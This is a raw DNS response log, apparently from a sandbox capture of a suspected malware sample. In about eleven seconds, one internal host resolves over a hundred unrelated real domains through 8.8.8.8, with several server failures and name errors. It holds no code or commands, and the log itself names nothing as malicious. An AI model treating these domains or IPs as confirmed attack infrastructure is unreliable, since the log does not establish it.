Jul 27, 2023 21:53:39.068547964 CEST	8.8.8.8	192.168.2.4	0x21fd	No error (0)	shiner.com		172.67.143.148	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.068547964 CEST	8.8.8.8	192.168.2.4	0x21fd	No error (0)	shiner.com		104.21.27.205	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.222409010 CEST	8.8.8.8	192.168.2.4	0xc4d8	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.449480057 CEST	8.8.8.8	192.168.2.4	0x5d63	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.554302931 CEST	8.8.8.8	192.168.2.4	0xe8c8	No error (0)	com-edit.fr		63.251.106.25	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.565365076 CEST	8.8.8.8	192.168.2.4	0xc666	No error (0)	semuk.com		86.105.245.69	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.618386030 CEST	8.8.8.8	192.168.2.4	0x8d12	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.785523891 CEST	8.8.8.8	192.168.2.4	0x2b87	No error (0)	cpmteam.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.785523891 CEST	8.8.8.8	192.168.2.4	0x2b87	No error (0)	cpmteam.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.794847965 CEST	8.8.8.8	192.168.2.4	0xc03	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.838746071 CEST	8.8.8.8	192.168.2.4	0x58b7	No error (0)	wanoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.838746071 CEST	8.8.8.8	192.168.2.4	0x58b7	No error (0)	wanoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.850560904 CEST	8.8.8.8	192.168.2.4	0x6616	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.850560904 CEST	8.8.8.8	192.168.2.4	0x6616	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.910233021 CEST	8.8.8.8	192.168.2.4	0xe26d	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.031459093 CEST	8.8.8.8	192.168.2.4	0x4883	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.119609118 CEST	8.8.8.8	192.168.2.4	0xcb9c	No error (0)	kevyt.net		172.67.129.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.119609118 CEST	8.8.8.8	192.168.2.4	0xcb9c	No error (0)	kevyt.net		104.21.2.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.308738947 CEST	8.8.8.8	192.168.2.4	0x6541	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.405453920 CEST	8.8.8.8	192.168.2.4	0x971e	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.405453920 CEST	8.8.8.8	192.168.2.4	0x971e	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.478355885 CEST	8.8.8.8	192.168.2.4	0xe139	No error (0)	webways.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.478355885 CEST	8.8.8.8	192.168.2.4	0xe139	No error (0)	webways.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.635720015 CEST	8.8.8.8	192.168.2.4	0x945f	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.635720015 CEST	8.8.8.8	192.168.2.4	0x945f	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.635720015 CEST	8.8.8.8	192.168.2.4	0x945f	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.635720015 CEST	8.8.8.8	192.168.2.4	0x945f	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.678683996 CEST	8.8.8.8	192.168.2.4	0xac72	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:40.678683996 CEST	8.8.8.8	192.168.2.4	0xac72	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:40.678683996 CEST	8.8.8.8	192.168.2.4	0xac72	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.224.178.117	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.678683996 CEST	8.8.8.8	192.168.2.4	0xac72	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		54.165.108.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.681103945 CEST	8.8.8.8	192.168.2.4	0x7c1e	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.706650019 CEST	8.8.8.8	192.168.2.4	0xdd24	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.747214079 CEST	8.8.8.8	192.168.2.4	0xe8b5	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.793298960 CEST	8.8.8.8	192.168.2.4	0x5f4c	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.793298960 CEST	8.8.8.8	192.168.2.4	0x5f4c	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.846915007 CEST	8.8.8.8	192.168.2.4	0xc47f	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.859055042 CEST	8.8.8.8	192.168.2.4	0xc03	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.896724939 CEST	8.8.8.8	192.168.2.4	0xbb7a	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.896724939 CEST	8.8.8.8	192.168.2.4	0xbb7a	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.025930882 CEST	8.8.8.8	192.168.2.4	0xc47f	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.059422970 CEST	8.8.8.8	192.168.2.4	0x2112	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.061954021 CEST	8.8.8.8	192.168.2.4	0x4883	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.211147070 CEST	8.8.8.8	192.168.2.4	0xa9ad	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.300035000 CEST	8.8.8.8	192.168.2.4	0x7cd9	No error (0)	yhsll.com		102.134.49.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.300489902 CEST	8.8.8.8	192.168.2.4	0xf56b	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:41.300489902 CEST	8.8.8.8	192.168.2.4	0xf56b	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.323309898 CEST	8.8.8.8	192.168.2.4	0xa679	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.323309898 CEST	8.8.8.8	192.168.2.4	0xa679	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.323309898 CEST	8.8.8.8	192.168.2.4	0xa679	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.323309898 CEST	8.8.8.8	192.168.2.4	0xa679	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.366694927 CEST	8.8.8.8	192.168.2.4	0x7685	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:41.366694927 CEST	8.8.8.8	192.168.2.4	0x7685	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.409847021 CEST	8.8.8.8	192.168.2.4	0xb2ef	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.409847021 CEST	8.8.8.8	192.168.2.4	0xb2ef	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.409847021 CEST	8.8.8.8	192.168.2.4	0xb2ef	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.409847021 CEST	8.8.8.8	192.168.2.4	0xb2ef	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.422766924 CEST	8.8.8.8	192.168.2.4	0xfb8b	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.448095083 CEST	8.8.8.8	192.168.2.4	0x775d	No error (0)	atbauk.org		172.67.196.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.448095083 CEST	8.8.8.8	192.168.2.4	0x775d	No error (0)	atbauk.org		104.21.92.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.492053986 CEST	8.8.8.8	192.168.2.4	0xb35d	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.492053986 CEST	8.8.8.8	192.168.2.4	0xb35d	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.503216028 CEST	8.8.8.8	192.168.2.4	0x3cf8	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.583810091 CEST	8.8.8.8	192.168.2.4	0x7058	No error (0)	sanfotek.net		216.69.141.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.720549107 CEST	8.8.8.8	192.168.2.4	0x4519	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.720549107 CEST	8.8.8.8	192.168.2.4	0x4519	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.754374981 CEST	8.8.8.8	192.168.2.4	0xfd8f	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.754374981 CEST	8.8.8.8	192.168.2.4	0xfd8f	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.754374981 CEST	8.8.8.8	192.168.2.4	0xfd8f	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.754374981 CEST	8.8.8.8	192.168.2.4	0xfd8f	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.844294071 CEST	8.8.8.8	192.168.2.4	0xc47f	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.894862890 CEST	8.8.8.8	192.168.2.4	0xc03	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.184900999 CEST	8.8.8.8	192.168.2.4	0x54af	No error (0)	www.muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.204477072 CEST	8.8.8.8	192.168.2.4	0x3047	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.426120043 CEST	8.8.8.8	192.168.2.4	0x807c	No error (0)	4locals.net		80.82.115.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.478271961 CEST	8.8.8.8	192.168.2.4	0xe10a	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.478271961 CEST	8.8.8.8	192.168.2.4	0xe10a	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.478271961 CEST	8.8.8.8	192.168.2.4	0xe10a	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.478271961 CEST	8.8.8.8	192.168.2.4	0xe10a	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.504467010 CEST	8.8.8.8	192.168.2.4	0x8d5d	No error (0)	sanfotek.net		216.69.141.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.529258966 CEST	8.8.8.8	192.168.2.4	0xe015	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.563416004 CEST	8.8.8.8	192.168.2.4	0xef7b	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.744415045 CEST	8.8.8.8	192.168.2.4	0xe404	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.762936115 CEST	8.8.8.8	192.168.2.4	0x794b	No error (0)	fr-dat.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.102442980 CEST	8.8.8.8	192.168.2.4	0xe899	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.114526987 CEST	8.8.8.8	192.168.2.4	0x4883	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.300060987 CEST	8.8.8.8	192.168.2.4	0xd06f	No error (0)	cvswl.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.300060987 CEST	8.8.8.8	192.168.2.4	0xd06f	No error (0)	cvswl.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.361084938 CEST	8.8.8.8	192.168.2.4	0x9419	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.568505049 CEST	8.8.8.8	192.168.2.4	0xe585	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.591202021 CEST	8.8.8.8	192.168.2.4	0x4c92	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.703447104 CEST	8.8.8.8	192.168.2.4	0x97f3	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:43.703447104 CEST	8.8.8.8	192.168.2.4	0x97f3	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.741691113 CEST	8.8.8.8	192.168.2.4	0x5263	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.804708958 CEST	8.8.8.8	192.168.2.4	0xe493	No error (0)	usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.923787117 CEST	8.8.8.8	192.168.2.4	0xc03	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.002111912 CEST	8.8.8.8	192.168.2.4	0x2af4	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.023277044 CEST	8.8.8.8	192.168.2.4	0x2af4	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.055361986 CEST	8.8.8.8	192.168.2.4	0xfcd6	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.159419060 CEST	8.8.8.8	192.168.2.4	0x7b62	No error (0)	lyto.net		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.159419060 CEST	8.8.8.8	192.168.2.4	0x7b62	No error (0)	lyto.net		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.230477095 CEST	8.8.8.8	192.168.2.4	0xa054	Name error (3)	ascc.org.au	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.235387087 CEST	8.8.8.8	192.168.2.4	0x7d84	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.235387087 CEST	8.8.8.8	192.168.2.4	0x7d84	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.441700935 CEST	8.8.8.8	192.168.2.4	0xed8c	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.464314938 CEST	8.8.8.8	192.168.2.4	0x8e14	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.485482931 CEST	8.8.8.8	192.168.2.4	0xf0fa	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.621963978 CEST	8.8.8.8	192.168.2.4	0xc02	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.621963978 CEST	8.8.8.8	192.168.2.4	0xc02	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.825671911 CEST	8.8.8.8	192.168.2.4	0x738f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.871831894 CEST	8.8.8.8	192.168.2.4	0x3ebe	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.918689013 CEST	8.8.8.8	192.168.2.4	0x5d02	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.942807913 CEST	8.8.8.8	192.168.2.4	0x2af4	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.968449116 CEST	8.8.8.8	192.168.2.4	0x790a	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.968951941 CEST	8.8.8.8	192.168.2.4	0x79a8	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.977051020 CEST	8.8.8.8	192.168.2.4	0x3ddf	No error (0)	dataform.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.016149044 CEST	8.8.8.8	192.168.2.4	0xfcd6	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.020077944 CEST	8.8.8.8	192.168.2.4	0xfc3b	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.231488943 CEST	8.8.8.8	192.168.2.4	0x41f9	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.231488943 CEST	8.8.8.8	192.168.2.4	0x41f9	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.231488943 CEST	8.8.8.8	192.168.2.4	0x41f9	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.407686949 CEST	8.8.8.8	192.168.2.4	0x792	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.412795067 CEST	8.8.8.8	192.168.2.4	0x7748	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.412795067 CEST	8.8.8.8	192.168.2.4	0x7748	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.620726109 CEST	8.8.8.8	192.168.2.4	0xb697	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.806231022 CEST	8.8.8.8	192.168.2.4	0xeef6	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.856414080 CEST	8.8.8.8	192.168.2.4	0x738f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.032833099 CEST	8.8.8.8	192.168.2.4	0xfcd6	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.133697033 CEST	8.8.8.8	192.168.2.4	0x8af8	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.262335062 CEST	8.8.8.8	192.168.2.4	0x3c1b	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.262335062 CEST	8.8.8.8	192.168.2.4	0x3c1b	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.262335062 CEST	8.8.8.8	192.168.2.4	0x3c1b	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.262335062 CEST	8.8.8.8	192.168.2.4	0x3c1b	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.384788990 CEST	8.8.8.8	192.168.2.4	0xe9b2	No error (0)	x96.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.384788990 CEST	8.8.8.8	192.168.2.4	0xe9b2	No error (0)	x96.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.488120079 CEST	8.8.8.8	192.168.2.4	0xf157	No error (0)	t-mould.com		81.169.145.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.902467966 CEST	8.8.8.8	192.168.2.4	0x738f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:47.354249001 CEST	8.8.8.8	192.168.2.4	0x37a3	No error (0)	envogen.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:47.354249001 CEST	8.8.8.8	192.168.2.4	0x37a3	No error (0)	envogen.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:47.665004015 CEST	8.8.8.8	192.168.2.4	0xb62d	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:47.665004015 CEST	8.8.8.8	192.168.2.4	0xb62d	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:47.665004015 CEST	8.8.8.8	192.168.2.4	0xb62d	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.224.178.117	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:47.665004015 CEST	8.8.8.8	192.168.2.4	0xb62d	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		54.165.108.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.063939095 CEST	8.8.8.8	192.168.2.4	0xfcd6	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.738373041 CEST	8.8.8.8	192.168.2.4	0x9180	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.897509098 CEST	8.8.8.8	192.168.2.4	0xb937	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.935488939 CEST	8.8.8.8	192.168.2.4	0xa346	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.947096109 CEST	8.8.8.8	192.168.2.4	0x738f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.085825920 CEST	8.8.8.8	192.168.2.4	0x767d	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.145728111 CEST	8.8.8.8	192.168.2.4	0x1b77	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.149952888 CEST	8.8.8.8	192.168.2.4	0xbf9b	No error (0)	gujarat.com		172.67.145.148	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.149952888 CEST	8.8.8.8	192.168.2.4	0xbf9b	No error (0)	gujarat.com		104.21.73.143	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.180228949 CEST	8.8.8.8	192.168.2.4	0xb1c5	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.658107042 CEST	8.8.8.8	192.168.2.4	0x61b9	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.726190090 CEST	8.8.8.8	192.168.2.4	0xf7f4	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.731971979 CEST	8.8.8.8	192.168.2.4	0x4d67	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.774681091 CEST	8.8.8.8	192.168.2.4	0x18b7	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.853358030 CEST	8.8.8.8	192.168.2.4	0x4e97	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.879633904 CEST	8.8.8.8	192.168.2.4	0xb547	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.110723972 CEST	8.8.8.8	192.168.2.4	0x767d	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.322427034 CEST	8.8.8.8	192.168.2.4	0xbb1	No error (0)	www.tyrns.com		62.75.216.137	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.385616064 CEST	8.8.8.8	192.168.2.4	0x18a5	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:50.385616064 CEST	8.8.8.8	192.168.2.4	0x18a5	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.401762009 CEST	8.8.8.8	192.168.2.4	0x8e71	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:50.401762009 CEST	8.8.8.8	192.168.2.4	0x8e71	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.445461035 CEST	8.8.8.8	192.168.2.4	0x3396	No error (0)	shittas.com		208.91.197.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.712007999 CEST	8.8.8.8	192.168.2.4	0xa658	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.712007999 CEST	8.8.8.8	192.168.2.4	0xa658	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.727890015 CEST	8.8.8.8	192.168.2.4	0x51a7	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.736371994 CEST	8.8.8.8	192.168.2.4	0x91ea	No error (0)	nlcv.bas.bg		195.96.252.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.741035938 CEST	8.8.8.8	192.168.2.4	0xf38b	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.741035938 CEST	8.8.8.8	192.168.2.4	0xf38b	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.741215944 CEST	8.8.8.8	192.168.2.4	0xcad2	No error (0)	msl-lock.com		165.160.15.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.741215944 CEST	8.8.8.8	192.168.2.4	0xcad2	No error (0)	msl-lock.com		165.160.13.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.741235971 CEST	8.8.8.8	192.168.2.4	0x41de	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
